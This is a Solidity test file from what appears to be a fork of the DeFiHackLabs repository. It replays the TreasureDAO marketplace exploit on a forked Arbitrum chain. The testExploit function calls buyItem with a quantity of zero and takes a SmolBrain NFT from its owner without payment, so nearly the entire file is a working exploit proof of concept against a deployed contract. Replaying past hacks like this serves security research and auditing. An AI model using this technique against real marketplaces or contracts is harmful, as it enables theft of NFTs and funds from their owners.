forked from zhouxianyuan/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 2
/
TreasureDAO_exp.sol
44 lines (38 loc) · 1.16 KB
/
TreasureDAO_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
contract ContractTest is DSTest {
ITreasureMarketplaceBuyer itreasure =
ITreasureMarketplaceBuyer(0x812cdA2181ed7c45a35a691E0C85E231D218E273);
IERC721 iSmolBrain = IERC721(0x6325439389E0797Ab35752B4F43a14C004f22A9c);
uint256 tokenId = 3557;
address nftOwner;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("arbitrum", 7322694); //fork arbitrum at block 7322694
}
function testExploit() public {
nftOwner = iSmolBrain.ownerOf(tokenId);
emit log_named_address("Original NFT owner of SmolBrain:", nftOwner);
itreasure.buyItem(
0x6325439389E0797Ab35752B4F43a14C004f22A9c,
3557,
nftOwner,
0,
6969000000000000000000
);
emit log_named_address(
"Exploit completed, NFT owner of SmolBrain:",
iSmolBrain.ownerOf(tokenId)
);
}
function onERC721Received(
address,
address,
uint256,
bytes memory
) public virtual returns (bytes4) {
return this.onERC721Received.selector;
}
}